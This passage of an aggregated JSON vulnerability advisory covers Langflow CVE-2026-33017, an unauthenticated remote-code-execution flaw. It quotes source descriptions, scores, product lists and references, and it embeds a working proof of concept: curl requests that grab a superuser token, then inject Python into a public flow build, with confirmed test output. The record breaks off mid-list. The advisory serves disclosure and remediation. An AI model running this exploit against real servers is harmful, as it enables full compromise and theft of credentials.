create_graph(fresh_session, flow_id_str, flow_name):\n # For public flows, ALWAYS load from database, never from user data\n return await build_graph_from_db(\n flow_id=flow_id,\n session=fresh_session,\n ...\n )\n```", "title": "github - https://api.github.com/advisories/GHSA-vwmf-pq79-vjvx" }, { "category": "description", "text": "Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.", "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33017.json" }, { "category": "description", "text": "Langflow is a tool for building and deploying AI-powered agents and workflows. In versions prior to 1.9.0, the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution. This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code. This issue has been fixed in version 1.9.0.", "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33017" }, { "category": "description", "text": "## Summary\n\nThe `POST /api/v1/build_public_tmp/{flow_id}/flow` endpoint allows building public flows without requiring authentication. When the optional `data` parameter is supplied, the endpoint uses **attacker-controlled flow data** (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to `exec()` with zero sandboxing, resulting in unauthenticated remote code execution.\n\nThis is distinct from CVE-2025-3248, which fixed `/api/v1/validate/code` by adding authentication. The `build_public_tmp` endpoint is **designed** to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.\n\n## Affected Code\n\n### Vulnerable Endpoint (No Authentication)\n\n**File:** `src/backend/base/langflow/api/v1/chat.py`, lines 580-657\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED\n request: Request,\n # ... NO Depends(get_current_active_user) -- MISSING AUTH ...\n):\n \"\"\"Build a public flow without requiring authentication.\"\"\"\n client_id = request.cookies.get(\"client_id\")\n owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)\n\n job_id = await start_flow_build(\n flow_id=new_flow_id,\n data=data, # Attacker's data passed directly to graph builder\n current_user=owner_user,\n ...\n )\n```\n\nCompare with the authenticated build endpoint at line 138, which requires `current_user: CurrentActiveUser`.\n\n### Code Execution Chain\n\nWhen attacker-supplied `data` is provided, it flows through:\n\n1. `start_flow_build(data=attacker_data)` → `generate_flow_events()` -- `build.py:81`\n2. `create_graph()` → `build_graph_from_data(payload=data.model_dump())` -- `build.py:298`\n3. `Graph.from_payload(payload)` parses attacker nodes -- `base.py:1168`\n4. `add_nodes_and_edges()` → `initialize()` → `_build_graph()` -- `base.py:270,527`\n5. `_instantiate_components_in_vertices()` iterates nodes -- `base.py:1323`\n6. `vertex.instantiate_component()` → `instantiate_class(vertex)` -- `loading.py:28`\n7. `code = custom_params.pop(\"code\")` extracts attacker code -- `loading.py:43`\n8. `eval_custom_component_code(code)` → `create_class(code, class_name)` -- `eval.py:9`\n9. `prepare_global_scope(module)` -- `validate.py:323`\n10. `exec(compiled_code, exec_globals)` -- **ARBITRARY CODE EXECUTION** -- `validate.py:397`\n\n### Unsandboxed exec() in prepare_global_scope\n\n**File:** `src/lfx/src/lfx/custom/validate.py`, lines 340-397\n\n```python\ndef prepare_global_scope(module):\n exec_globals = globals().copy()\n\n # Imports are resolved first (any module can be imported)\n for node in imports:\n module_obj = importlib.import_module(module_name) # line 352\n exec_globals[variable_name] = module_obj\n\n # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)\n if definitions:\n combined_module = ast.Module(body=definitions, type_ignores=[])\n compiled_code = compile(combined_module, \"\", \"exec\")\n exec(compiled_code, exec_globals) # line 397 - ARBITRARY CODE EXECUTION\n```\n\n**Critical detail:** `prepare_global_scope` executes `ast.Assign` nodes. An attacker's code like `_x = os.system(\"id\")` is an assignment and will be executed during graph building -- before the flow even \"runs.\"\n\n## Prerequisites\n\n1. Target Langflow instance has at least **one public flow** (common for demos, chatbots, shared workflows)\n2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)\n3. No authentication required -- only a `client_id` cookie (any arbitrary string value)\n\nWhen `AUTO_LOGIN=true` (the **default**), all prerequisites can be met by an unauthenticated attacker:\n1. `GET /api/v1/auto_login` → obtain superuser token\n2. `POST /api/v1/flows/` → create a public flow\n3. Exploit via `build_public_tmp` without any auth\n\n## Proof of Concept\n\n### Tested Against\n\n- **Langflow version 1.7.3** (latest stable release, installed via `pip install langflow`)\n- **Fully reproducible**: 6/6 runs confirmed RCE (two sets of 3 runs each)\n\n### Step 1: Obtain a Public Flow ID\n\n(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)\n\n```bash\n# Get superuser token (no credentials needed when AUTO_LOGIN=true)\nTOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')\n\n# Create a public flow\nFLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"name\":\"test\",\"data\":{\"nodes\":[],\"edges\":[]},\"access_type\":\"PUBLIC\"}' \\\n | jq -r '.id')\n\necho \"Public Flow ID: $FLOW_ID\"\n```\n\n### Step 2: Exploit -- Unauthenticated RCE\n\n```bash\n# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint\n# NO Authorization header, NO API key, NO credentials\ncurl -X POST \"http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow\" \\\n -H \"Content-Type: application/json\" \\\n -b \"client_id=attacker\" \\\n -d '{\n \"data\": {\n \"nodes\": [{\n \"id\": \"Exploit-001\",\n \"type\": \"genericNode\",\n \"position\": {\"x\":0,\"y\":0},\n \"data\": {\n \"id\": \"Exploit-001\",\n \"type\": \"ExploitComp\",\n \"node\": {\n \"template\": {\n \"code\": {\n \"type\": \"code\",\n \"required\": true,\n \"show\": true,\n \"multiline\": true,\n \"value\": \"import os, socket, json as _json\\n\\n_proof = os.popen(\\\"id\\\").read().strip()\\n_host = socket.gethostname()\\n_write = open(\\\"/tmp/rce-proof\\\",\\\"w\\\").write(f\\\"{_proof} on {_host}\\\")\\n\\nfrom lfx.custom.custom_component.component import Component\\nfrom lfx.io import Output\\nfrom lfx.schema.data import Data\\n\\nclass ExploitComp(Component):\\n display_name=\\\"X\\\"\\n outputs=[Output(display_name=\\\"O\\\",name=\\\"o\\\",method=\\\"r\\\")]\\n def r(self)->Data:\\n return Data(data={})\",\n \"name\": \"code\",\n \"password\": false,\n \"advanced\": false,\n \"dynamic\": false\n },\n \"_type\": \"Component\"\n },\n \"description\": \"X\",\n \"base_classes\": [\"Data\"],\n \"display_name\": \"ExploitComp\",\n \"name\": \"ExploitComp\",\n \"frozen\": false,\n \"outputs\": [{\"types\":[\"Data\"],\"selected\":\"Data\",\"name\":\"o\",\"display_name\":\"O\",\"method\":\"r\",\"value\":\"__UNDEFINED__\",\"cache\":true,\"allows_loop\":false,\"tool_mode\":false,\"hidden\":null,\"required_inputs\":null,\"group_outputs\":false}],\n \"field_order\": [\"code\"],\n \"beta\": false,\n \"edited\": false\n }\n }\n }],\n \"edges\": []\n },\n \"inputs\": null\n }'\n```\n\n### Step 3: Verify Code Execution\n\n```bash\n# Wait 2 seconds for async graph building\nsleep 2\n\n# Check proof file written by attacker's code on the server\ncat /tmp/rce-proof\n# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali\n```\n\n### Actual Test Results\n\n```\n======================================================================\nLANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST\n======================================================================\nVersion: Langflow 1.7.3\n\nRUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-f0d19b36\n hostname: kali\n uid: 1000\n whoami: aviral\n id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...\n uname: Linux 6.16.8+kali-amd64\n\nRUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-6037a271\n\nRUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)\n HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7\n *** REMOTE CODE EXECUTION CONFIRMED ***\n canary: RCE-4a796556\n\nFINAL RESULTS\n Total checks: 15\n VULNERABLE: 15\n SAFE: 0\n RCE confirmed: 3/3 runs\n Reproducible: YES (100%)\n```\n\n## Impact\n\n- **Unauthenticated Remote Code Execution** with full server process privileges\n- **Complete server compromise**: arbitrary file read/write, command execution\n- **Environment variable exfiltration**: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)\n- **Reverse shell access** for persistent access\n- **Lateral movement** within the network\n- **Data exfiltration** from all flows, messages, and stored credentials in the database\n\n## Comparison with CVE-2025-3248\n\n| Aspect | CVE-2025-3248 | This Vulnerability |\n|--------|--------------|-------------------|\n| **Endpoint** | `/api/v1/validate/code` | `/api/v1/build_public_tmp/{id}/flow` |\n| **Fix applied** | Added `Depends(get_current_active_user)` | None -- NEW vulnerability |\n| **Root cause** | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via `data` param |\n| **Code execution via** | `validate_code()` → `exec()` | `create_class()` → `prepare_global_scope()` → `exec()` |\n| **CISA KEV** | Yes (actively exploited) | N/A (new finding) |\n| **Can simple auth fix?** | Yes (and it was fixed) | No -- endpoint is *designed* to be unauthenticated; the `data` parameter must be removed |\n\n## Recommended Fix\n\n### Immediate (Short-term)\n\n**Remove the `data` parameter** from `build_public_tmp`. Public flows should only execute their stored flow data, never attacker-supplied data:\n\n```python\n@router.post(\"/build_public_tmp/{flow_id}/flow\")\nasync def build_public_tmp(\n *,\n flow_id: uuid.UUID,\n inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,\n # REMOVED: data parameter -- public flows must use stored data only\n ...\n):\n```\n\nIn `generate_flow_events` → `create_graph()`, only the `build_graph_from_db` path should be reachable for unauthenticated requests:\n\n```python\nasync def create_graph(fresh_session, flow_id_str, flow_name):\n # For public flows, ALWAYS load from database, never from user data\n return await build_graph_from_db(\n flow_id=flow_id,\n session=fresh_session,\n ...\n )\n```", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-vwmf-pq79-vjvx.json?alt=media" }, { "category": "description", "text": "Langflow contains a code injection vulnerability that could allow building public flows without requiring authentication.\nApply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "title": "cisagov - https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" }, { "category": "other", "text": "0.05654", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L", "title": "CVSSV4" }, { "category": "other", "text": "9.3", "title": "CVSSV4 base score" }, { "category": "other", "text": "5.6", "title": "NCSC Score" }, { "category": "other", "text": "There is cvss data available from a private source, There is news data available from source Bleepingcomputer, There is product data available from source Certbundde, There is product data available from a private source", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, The value of the most recent CVSS (V3) score, There is exploit data available from source Cveprojectv5", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-5874505", "CSAFPID-5875751", "CSAFPID-3234757", "CSAFPID-3234758", "CSAFPID-3234759", "CSAFPID-3234760", "CSAFPID-3234761", "CSAFPID-3234762", "CSAFPID-3234763", "CSAFPID-3234764", "CSAFPID-3234765", "CSAFPID-3234766", "CSAFPID-3234767", "CSAFPID-3234768", "CSAFPID-3234769", "CSAFPID-3234770", "CSAFPID-3234771", "CSAFPID-3234772", "CSAFPID-3234773", "CSAFPID-3234774", "CSAFPID-3234775", "CSAFPID-3234776", "CSAFPID-3234777", "CSAFPID-3234778", "CSAFPID-3234779", "CSAFPID-3234780", "CSAFPID-3234781", "CSAFPID-3234782", "CSAFPID-3234783", "CSAFPID-3234784", "CSAFPID-3234785", "CSAFPID-3234786", "CSAFPID-3234787", "CSAFPID-3234788", "CSAFPID-3234789", "CSAFPID-3234790", "CSAFPID-3234791", "CSAFPID-3234792", "CSAFPID-3234793", "CSAFPID-3234794", "CSAFPID-3234795", "CSAFPID-3234796", "CSAFPID-3234797", "CSAFPID-3234798", "CSAFPID-3234799", "CSAFPID-3234800", "CSAFPID-3234801", "CSAFPID-3234802", "CSAFPID-3234803", "CSAFPID-3234804", "CSAFPID-3234805", "CSAFPID-3234806", "CSAFPID-3234807", "CSAFPID-3234808", "CSAFPID-3234809", "CSAFPID-3234810", "CSAFPID-3234811", "CSAFPID-3234812", "CSAFPID-3234813", "CSAFPID-3234814", "CSAFPID-3234815", "CSAFPID-3234816", "CSAFPID-3234817", "CSAFPID-3234818", "CSAFPID-3234819", "CSAFPID-3234820", "CSAFPID-3234821", "CSAFPID-3234822", "CSAFPID-3234823", "CSAFPID-3234824", "CSAFPID-3234825", "CSAFPID-3234826", "CSAFPID-3234827", "CSAFPID-3234828", "CSAFPID-3234829", "CSAFPID-3234830", "CSAFPID-3234831", "CSAFPID-3234832", "CSAFPID-3234833", "CSAFPID-3234834", "CSAFPID-3234835", "CSAFPID-3234836", "CSAFPID-3234837", "CSAFPID-3234838", "CSAFPID-3234839", "CSAFPID-3234840", "CSAFPID-3234841", "CSAFPID-3234842", "CSAFPID-3234843", "CSAFPID-3234844", "CSAFPID-3234845", "CSAFPID-3234846", "CSAFPID-3234847", "CSAFPID-3234848", "CSAFPID-3234849", "CSAFPID-3234850", "CSAFPID-3234851", "CSAFPID-3234852", "CSAFPID-3234853", "CSAFPID-3234854", "CSAFPID-3234855", "CSAFPID-3234856", "CSAFPID-3234857", "CSAFPID-3234858", "CSAFPID-3234859", "CSAFPID-3234860", "CSAFPID-3234861", "CSAFPID-3234862", "CSAFPID-3234863", "CSAFPID-3234864", "CSAFPID-3234865", "CSAFPID-3234866", "CSAFPID-3234867", "CSAFPID-3234868", "CSAFPID-3234869", "CSAFPID-3234870", "CSAFPID-3234871", "CSAFPID-3234872", "CSAFPID-3234873", "CSAFPID-3234874", "CSAFPID-3234875", "CSAFPID-3234876", "CSAFPID-3234877", "CSAFPID-3234878", "CSAFPID-3234879", "CSAFPID-3234880", "CSAFPID-3234881", "CSAFPID-3234882", "CSAFPID-3234883", "CSAFPID-3234884", "CSAFPID-3234885", "CSAFPID-3234886", "CSAFPID-3234887", "CSAFPID-3234888", "CSAFPID-3234889", "CSAFPID-3234890", "CSAFPID-3234891", "CSAFPID-3234892", "CSAFPID-3234893", "CSAFPID-3234894", "CSAFPID-3234895", "CSAFPID-3234896", "CSAFPID-3234897", "CSAFPID-3234898", "CSAFPID-3234899", "CSAFPID-3234900", "CSAFPID-3234901", "CSAFPID-3234902", "CSAFPID-3234903", "CSAFPID-3234904", "CSAFPID-3234905", "CSAFPID-3234906", "CSAFPID-3234907", "CSAFPID-3234908", "CSAFPID-3234909", "CSAFPID-3234910", "CSAFPID-3234911", "CSAFPID-3234912", "CSAFPID-3234913", "CSAFPID-3234914", "CSAFPID-3234915", "CSAFPID-3234916", "CSAFPID-3234917", "CSAFPID-3234918", "CSAFPID-3234919", "CSAFPID-3234920", "CSAFPID-3234921", "CSAFPID-3234922", "CSAFPID-3234923", "CSAFPID-3234924", "CSAFPID-3234925", "CSAFPID-3234926", "CSAFPID-3234927", "CSAFPID-3234928", "CSAFPID-3234929", "CSAFPID-3234930", "CSAFPID-3234931", "CSAFPID-3234932", "CSAFPID-3234933", "CSAFPID-3234934", "CSAFPID-3234935", "CSAFPID-3234936", "CSAFPID-3234937", "CSAFPID-3234938", "CSAFPID-3234939", "CSAFPID-3234940", "CSAFPID-3234941", "CSAFPID-3234942", "CSAFPID-3234943", "CSAFPID-3234944", "CSAFPID-3234945", "CSAFPID-3234946", "CSAFPID-3234947", "CSAFPID-3234948", "CSAFPID-3234949", "CSAFPID-3234950", "CSAFPID-3234951", "CSAFPID-3234952", "CSAFPID-3234953", "CSAFPID-3234954", "CSAFPID-3234955", "CSAFPID-3234956", "CSAFPID-3234957", "CSAFPID-3234958", "CSAFPID-3234959", "CSAFPID-3234960", "CSAFPID-3234961", "CSAFPID-3234962", "CSAFPID-3234963", "CSAFPID-3234964", "CSAFPID-3234965", "CSAFPID-3234966", "CSAFPID-3234967", "CSAFPID-3234968", "CSAFPID-3234969", "CSAFPID-3234970", "CSAFPID-3234971", "CSAFPID-3234972", "CSAFPID-3234973", "CSAFPID-3234974", "CSAFPID-3234975", "CSAFPID-3234976", "CSAFPID-3234977", "CSAFPID-3234978", "CSAFPID-3234979", "CSAFPID-3234980", "CSAFPID-3234981", "CSAFPID-3234982", "CSAFPID-3234983", "CSAFPID-3234984", "CSAFPID-3234985", "CSAFPID-3234986", "CSAFPID-3234987", "CSAFPID-3234988", "CSAFPID-3234989", "CSAFPID-3234990", "CSAFPID-3234991", "CSAFPID-3234992", "CSAFPID-3234993", "CSAFPID-3739206", "CSAFPID-3739207", "CSAFPID-3739208", "CSAFPID-3739209", "CSAFPID-3739210", "CSAFPID-3739211", "CSAFPID-3739212", "CSAFPID-3739213", "CSAFPID-3739214", "CSAFPID-3739215", "CSAFPID-3739216", "CSAFPID-3739217", "CSAFPID-3739218", "CSAFPID-4774140", "CSAFPID-4774141", "CSAFPID-4774142", "CSAFPID-4774143", "CSAFPID-4774144", "CSAFPID-4774145", "CSAFPID-4774146", "CSAFPID-4774147", "CSAFPID-4774148", "CSAFPID-4774149", "CSAFPID-4774150", "CSAFPID-4774151", "CSAFPID-4818258", "CSAFPID-4818259", "CSAFPID-5281259", "CSAFPID-5288776", "CSAFPID-5288777", "CSAFPID-5288778", "CSAFPID-5288779", "CSAFPID-5288780", "CSAFPID-5288781", "CSAFPID-5288782", "CSAFPID-5288783", "CSAFPID-5288784", "CSAFPID-5288785", "CSAFPID-5288786", "CSAFPID-5288787", "CSAFPID-5446094", "CSAFPID-5667815", "CSAFPID-5667816", "CSAFPID-5737696", "CSAFPID-5737697", "CSAFPID-5737698", "CSAFPID-5907976", "CSAFPID-5907977", "CSAFPID-5907978", "CSAFPID-5907979", "CSAFPID-5907980", "CSAFPID-5907981", "CSAFPID-2807573", "CSAFPID-5909695", "CSAFPID-5912907", "CSAFPID-5918962" ], "last_affected": [ "CSAFPID-5875752" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-vwmf-pq79-vjvx" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-vwmf-pq79-vjvx" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-vwmf-pq79-vjvx" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/33xxx/CVE-2026-33017.json" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-33017" }, { "category": "external", "summary": "Source - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0747.json" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - securityweek", "url": "https://www.securityweek.com/critical-langflow-vulnerability-exploited-hours-after-public-disclosure/" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-vwmf-pq79-vjvx.json?alt=media" }, { "category": "external", "summary": "Source - cisagov", "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" }, { "category": "external", "summary": "Source - bleepingcomputer", "url": "https://www.bleepingcomputer.com/news/security/cisa-new-langflow-flaw-actively-exploited-to-hijack-ai-workflows/" }, { "category": "external", "summary": "News - securityweek", "url": "https://www.securityweek.com/critical-langflow-vulnerability-exploited-hours-after-public-disclosure/" }, { "category": "external", "summary": "News - bleepingcomputer", "url": "https://www.bleepingcomputer.com/news/security/cisa-new-langflow-flaw-actively-exploited-to-hijack-ai-workflows/" }, { "category": "external", "summary": "Reference - certbundde; cisagov; cveprojectv5; github; nvd; osv", "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-vwmf-pq79-vjvx" }, { "category": "external", "summary": "Reference - github", "url": "https://github.com/advisories/GHSA-vwmf-pq79-vjvx" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/langflow-ai/langflow/commit/73b6612e3ef25fdae0a752d75b0fabd47328d4f0" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/advisories/GHSA-rvqx-wpfh-mfx7" }, { "category": "external", "summary": "Reference - certbundde; cveprojectv5; github; nvd; osv", "url": "https://www.sysdig.com/blog/cve-2026-33017-how-attackers-compromised-langflow-ai-pipelines-in-20-hours" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-0747.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-0747" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-rf6x-r45m-xv3w" }, { "category": "external", "summary": "Reference - github; nvd; osv", "url": "https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-33017" }, { "category": "external", "summary": "Reference - cisagov; github; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33017" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/langflow-ai/langflow/pull/12160" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://github.com/langflow-ai/langflow/releases/tag/1.8.2" }, { "category": "external", "summary": "Reference - cveprojectv5; github; nvd; osv", "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-33017" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/langflow-ai/langflow/issues/12345" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-2807573", "CSAFPID-3234757", "CSAFPID-3234758", "CSAFPID-3234759", "CSAFPID-3234760", "CSAFPID-3234761", "CSAFPID-3234762", "CSAFPID-3234763", "CSAFPID-3234764", "CSAFPID-3234765", "CSAFPID-3234766", "CSAFPID-3234767", "CSAFPID-3234768", "CSAFPID-3234769", "CSAFPID-3234770", "CSAFPID-3234771", "CSAFPID-3234772", "CSAFPID-3234773", "CSAFPID-3234774", "CSAFPID-3234775", "CSAFPID-3234776", "CSAFPID-3234777", "CSAFPID-3234778", "CSAFPID-3234779", "CSAFPID-3234780", "CSAFPID-3234781", "CSAFPID-3234782", "CSAFPID-3234783", "CSAFPID-3234784", "CSAFPID-3234785", "CSAFPID-3234786", "CSAFPID-3234787", "CSAFPID-3234788", "CSAFPID-3234789", "CSAFPID-3234790", "CSAFPID-3234791", "CSAFPID-3234792", "CSAFPID-3234793", "CSAFPID-3234794", "CSAFPID-3234795", "CSAFPID-3234796", "CSAFPID-3234797", "CSAFPID-3234798", "CSAFPID-3234799", "CSAFPID-3234800", "CSAFPID-3234801", "CSAFPID-3234802", "CSAFPID-3234803", "CSAFPID-3234804", "CSAFPID-3234805", "CSAFPID-3234806", "CSAFPID-3234807", "CSAFPID-3234808", "CSAFPID-3234809", "CSAFPID-3234810", "CSAFPID-3234811", "CSAFPID-3234812", "CSAFPID-3234813", "CSAFPID-3234814", "CSAFPID-3234815", "CSAFPID-3234816", "CSAFPID-3234817", "CSAFPID-3234818", "CSAFPID-3234819", "CSAFPID-3234820", "CSAFPID-3234821", "CSAFPID-3234822", "CSAFPID-3234823", "CSAFPID-3234824", "CSAFPID-3234825", "CSAFPID-3234826", "CSAFPID-3234827", "CSAFPID-3234828", "CSAFPID-3234829", "CSAFPID-3234830", "CSAFPID-3234831", "CSAFPID-3234832", "CSAFPID-3234833", "CSAFPID-3234834", "CSAFPID-3234835", "CSAFPID-3234836", "CSAFPID-3234837", "CSAFPID-3234838", "CSAFPID-3234839", "CSAFPID-3234840", "CSAFPID-3234841", "CSAFPID-3234842", "CSAFPID-3234843", "CSAFPID-3234844", "CSAFPID-3234845", "CSAFPID-3234846", "CSAFPID-3234847", "CSAFPID-3234848", "CSAFPID-3234849", "CSAFPID-3234850", "CSAFPID-3234851", "CSAFPID-3234852", "CSAFPID-3234853", "CSAFPID-3234854", "CSAFPID-3234855", "CSAFPID-3234856", "CSAFPID-3234857", "CSAFPID-3234858", "CSAFPID-3234859", "CSAFPID-3234860", "CSAFPID-3234861", "CSAFPID-3234862", "CSAFPID-3234863", "CSAFPID-3234864", "CSAFPID-3234865", "CSAFPID-3234866", "CSAFPID-3234867", "CSAFPID-3234868", "CSAFPID-3234869", "CSAFPID-3234870", "CSAFPID-3234871", "CSAFPID-3234872", "CSAFPID-3234873", "CSAFPID-3234874", "CSAFPID-3234875", "CSAFPID-3234876", "CSAFPID-3234877", "CSAFPID-3234878", "CSAFPID-3234879", "CSAFPID-3234880", "CSAFPID-3234881", "CSAFPID-3234882", "CSAFPID-3234883", "CSAFPID-3234884", "CSAFPID-3234885", "CSAFPID-3234886", "CSAFPID-3234887", "CSAFPID-3234888", "CSAFPID-3234889", "CSAFPID-3234890", "CSAFPID-3234891", "CSAFPID-3234892", "CSAFPID-3234893", "CSAFPID-3234894", "CSAFPID-3234895", "CSAFPID-3234896", "CSAFPID-3234897", "CSAFPID-3234898", "CSAFPID-3234899", "CSAFPID-3234900", "CSAFPID-3234901", "CSAFPID-3234902", "CSAFPID-3234903", "CSAFPID-3234904", "CSAFPID-3234905", "CSAFPID-3234906", "CSAFPID-3234907", "CSAFPID-3234908", "CSAFPID-3234909", "CSAFPID-3234910", "CSAFPID-3234911", "CSAFPID-3234912", "CSAFPID-3234913", "CSAFPID-3234914", "CSAFPID-3234915", "CSAFPID-3234916", "CSAFPID-3234917", "CSAFPID-3234918", "CSAFPID-3234919", "CSAFPID-3234920", "CSAFPID-3234921", "CSAFPID-3234922", "CSAFPID-3234923", "CSAFPID-3234924", "CSAFPID-3234925", "CSAFPID-3234926", "CSAFPID-3234927", "CSAFPID-3234928", "CSAFPID-3234929", "CSAFPID-3234930", "CSAFPID-3234931", "CSAFPID-3234932", "CSAFPID-3234933", "CSAFPID-3234934", "CSAFPID-3234935", "CSAFPID-3234936", "CSAFPID-3234937", "CSAFPID-3234938", "CSAFPID-3234939", "CSAFPID-3234940", "CSAFPID-3234941", "CSAFPID-3234942", "CSAFPID-3234943", "CSAFPID-3234944", "CSAFPID-3234945", "CSAFPID-3234946", "CSAFPID-3234947", "CSAFPID-3234948", "CSAFPID-3234949", "CSAFPID-3234950", "CSAFPID-3234951", "CSAFPID-3234952", "CSAFPID-3234953", "CSAFPID-3234954", "CSAFPID-3234955", "CSAFPID-3234956", "CSAFPID-3234957", "CSAFPID-3234958", "CSAFPID-3234959", "CSAFPID-3234960", "CSAFPID-3234961", "CSAFPID-3234962", "CSAFPID-3234963", "CSAFPID-3234964", "CSAFPID-3234965", "CSAFPID-3234966", "CSAFPID-3234967", "CSAFPID-3234968", "CSAFPID-3234969", "CSAFPID-3234970", "CSAFPID-3234971", "CSAFPID-3234972", "CSAFPID-3234973", "CSAFPID-3234974", "CSAFPID-3234975", "CSAFPID-3234976", "CSAFPID-3234977", "CSAFPID-3234978", "CSAFPID-3234979", "CSAFPID-3234980", "CSAFPID-3234981", "CSAFPID-3234982", "CSAFPID-3234983", "CSAFPID-3234984", "CSAFPID-3234985", "CSAFPID-3234986", "CSAFPID-3234987", "CSAFPID-3234988", "CSAFPID-3234989", "CSAFPID-3234990", "CSAFPID-3234991", "CSAFPID-3234992", "CSAFPID-3234993", "CSAFPID-3739206", "CSAFPID-3739207", "CSAFPID-3739208", "CSAFPID-3739209", "CSAFPID-3739210", "CSAFPID-3739211", "CSAFPID-3739212", "CSAFPID-3739213", "CSAFPID-3739214", "CSAFPID-3739215", "CSAFPID-3739216", "CSAFPID-3739217", "CSAFPID-3739218", "CSAFPID-4774140", "CSAFPID-4774141", "CSAFPID-4774142", "CSAFPID-4774143", 